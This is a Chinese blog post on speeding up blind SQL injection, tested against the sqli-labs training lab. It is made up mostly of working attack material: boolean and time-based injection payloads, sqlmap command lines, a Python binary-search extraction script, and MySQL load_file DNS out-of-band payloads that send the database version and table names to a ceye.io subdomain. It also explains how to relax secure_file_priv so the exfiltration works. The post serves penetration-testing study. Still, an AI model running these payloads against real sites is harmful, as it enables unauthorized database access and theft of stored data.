当前位置:

SQL盲注加速方法

访客 2024-01-26 477 0

sql盲注加速方法总结

盲注分为布尔盲注和时间盲注,一般为加快测试速度都用工具或者脚本跑。但有时还是很慢,这时就需要采取另外办法。在参考了一些资料后经过实验总结可行方案如下。1.二分法加速、2.与运算加速、3.二进制延时注入加速、4.dnslogOOB外带通信

常规的布尔盲注

猜解数据库名字的长度?id=-1'orlength(database())=8--逐一猜解数据库?id=-1'orascii(substr(database(),1,1))=115--或者?id=-1'orascii(mid(database(),1,1))=115--或者?id=-1'ormid(database(),1,1)='s'--按照相同的方法猜解数据表的名字和字段内容?id=-1'orascii(mid(select(table_name)frominformation_schema.tableswheretable_schema=database()limit1,1))=?--

常规的时间盲注

猜解数据库名字的长度?id=-1'orif(length(database())=8,sleep(5),0)--猜解数据库名称?id=-1'orif(ascii(mid(database(),1,1))<=135,sleep(5),0)--相同的方式猜解数据表数据字段

以sqli-lab靶场Less9为例进行测试

常规的sqlmap跑一下

sqlmap-u"http://192.168.3.17/sqli-labs/Less-9/?id=1"--tech=T--dbms=mysql--current-db--batch

总共耗时约67s,在爆表时花费11s

1.二分法加速

二分法也是一个常规的算法,数据量太大太小都不适合该算法。而我们盲注加速匹配字符的条件正好合适。

主要原理就是从中间截断,不断缩小检索范围。

在sqli-labsLess8中有判断依据Youarein…,因此可以使用布尔盲注。以下是copy别人的二分法脚本

importrequestsimporttimeimportmathdefbinarySearch(url,payload,start,end):left=startright=endwhileleft<right:mid=math.floor((leftright)/2)xkey1=payload.format(str(mid))target=urlxkey1#print(target)response=requests.post(target)if"You"inresponse.text:left=mid1else:right=midreturnint(left)defdatabase_len(url):foriinrange(20):payload="?id=1'andlength(database())>{}#"returnbinarySearch(url,payload,0,100)defdatabase_name(url):#二分法databasename=''aa=database_len(url)foriinrange(1,aa1):payload="?id=1'andascii(substr(database(),"str(i)",1))>{}#"#print(payload)databasename=chr(binarySearch(url,payload,32,126))returndatabasenamedefmain():url="http://192.168.3.17/sqli-labs/Less-8/"datalen=database_len(url)print(datalen)result=database_name(url)print(result)if__name__=='__main__':main()

结果

2.与运算加速

主要原理是目标字符转为8位二进制通过1,2,4,8,16,32,64,128各位1进行与运算比较,在比较后就能确定各个比特位具体数值从而推出答案。直接采取字符比较的方式由于ASCII码范围为0~127比较范围比较大耗时长,在通过与运算后只需要比较7次就能确定字符的ascii码

经与运算加速后的py脚本比较helloworld!

defcompute_by_and(word):foreleinword:ele_b,times=get_character(ele)print(f"Guessthevalue{ele_b}:{chr(ele_b)}with{times}times")defget_character(char):char_b=ord(char)value=0times=0foriinrange(7):times=times1ifchar_b&(2**i):value=value(2**i)returnvalue,timesif__name__=="__main__":compute_by_and("hello")

输出结果,总共比较次数7*12=84次

字符直接比较需要382次,速度差距还是挺大的

importstringdefbrute_force(word):times=0foreleinword:forcinstring.printable:times=times1ifele==c:breakprint(f"Bruteforce{word}with{times}times")if__name__=="__main__":brute_force("helloworld!")

3.二进制延时注入加速

将ascii码转换为二进制,然后判断首位是0还是1,从而来更快的判断出数据库名字

以select@@version为例

取@@version第一位

selectmid((select@@version),1,1)

第一位字符转ASCII码

selectORD(mid((select@@version),1,1))

ASCII码转换为二进制

selectBIN(ORD(mid((select@@version),1,1)))

二进制用0填充补齐8位

selectLPAD(BIN(ORD(mid((select@@version),1,1))),8,0)

取二进制第一位

延时判断是0还是1

selectif(1=MID(LPAD(BIN(ORD(mid((select@@version),1,1))),8,0),1,1),sleep(20),0)

4.dnslog

原理:

首先理解UNC(UniversalNamingConvention)通用命名规则,格式如下

#sername为服务器名,sharename为共享资源名\\servername\sharename

打印机、网络共享文件夹等都会使用到UNC,在使用UNC路径进行查询时会对域名进行DNS查询

在DNS服务器会接收到请求

利用OOB(out-of-band)外带通信传递信息

\\tpa.xxxxx.ceye.io\x

已经传带了信息

在mysql中利用函数load_file进行OOB外带通信

selectload_file('//tpa2.xxx.ceye.io/x')

以此原理可以将查询的数据携带出来

selectload_file(concat('//',(selectversion()),'.xxx.ceye.io/x')))

条件:

1.Web服务器为Windows,UNC为Windows特有
2.数据库load_file函数可用,需要用户有file_priv权限

3.mysql的secure_file_priv不为NULL,有些高版本的mysql中的secure_file_priv默认为NULL

secure_file_priv特性secure_file_priv参数是用来限制LOADDATA,SELECT…OUTFILE,andLOAD_FILE()传到哪个指定目录的。

secure_file_priv的值为null,表示限制mysqld不允许导入|导出。secure_file_priv的值为/tmp/,表示限制mysqld的导入|导出只能发生在/tmp/目录下。secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制。

需要在配置文件my.ini中对secure_file_priv进行更改

本机采用的是5.7版本的mysql数据库,secure_file_priv存在默认的路径

之前的配置

修改如下

在修改完配置文件后需要重启mysql服务

这时secure_file_priv就为空了

4.域名前缀长度限制为63个字符,利用函数多次显示如mid(),substr(),substring()

5.域名前缀不支持特殊字符,先加密再解密绕过如hex()

利用:

需要用到dns平台,可以自己搭建也可以利用平台,这里直接使用ceye

原sql

SELECT*FROMusersWHEREid='$id'LIMIT0,1

我们构造后的sql

SELECT*FROMusersWHEREid='-1'or(selectload_file(concat('//',(selectversion()),'.xxxx.ceye.io/x')))#LIMIT0,1

执行sql后在DNS记录中找到了数据库version

响应查询版本的payload

or(selectload_file(concat('//',(selectversion()),'.xxxxx.ceye.io/x')))#

其他payload

爆库

or(selectload_file(concat('//',(selectdatabase()),'.xxxxx.ceye.io/x')))#

爆表

or(selectload_file(concat('//',(selecthex(group_concat(table_name))frominformation_schema.tableswheretable_schema=database()),'.xxxxx.ceye.io/x')))#

对hex加密后的编码进行解密,转ASCIIHex得到表名

sqlmap中也有响应的DNS参数-dns-domain

sqlmap-u"http://192.168.3.17/sqli-labs/Less-9/?id=1"--dbms=mysql--dns-domainxxxxx.ceye.io--current-db--batch

但是在像ceye这种在线平台并不会生效,会出现errordataretrievalthroughDNSchannelfailed.TurningoffDNSexfiltrationsupport

想要用sqlmap跑,需准备vps或者云服务器以及域名,sqlmap需要运行在DNS解析的服务器上,在追加–dns-domain参数后会在服务器监听53端口进行接收靶机发起的DNS请求

发表评论

  • 评论列表
还没有人评论,快来抢沙发吧~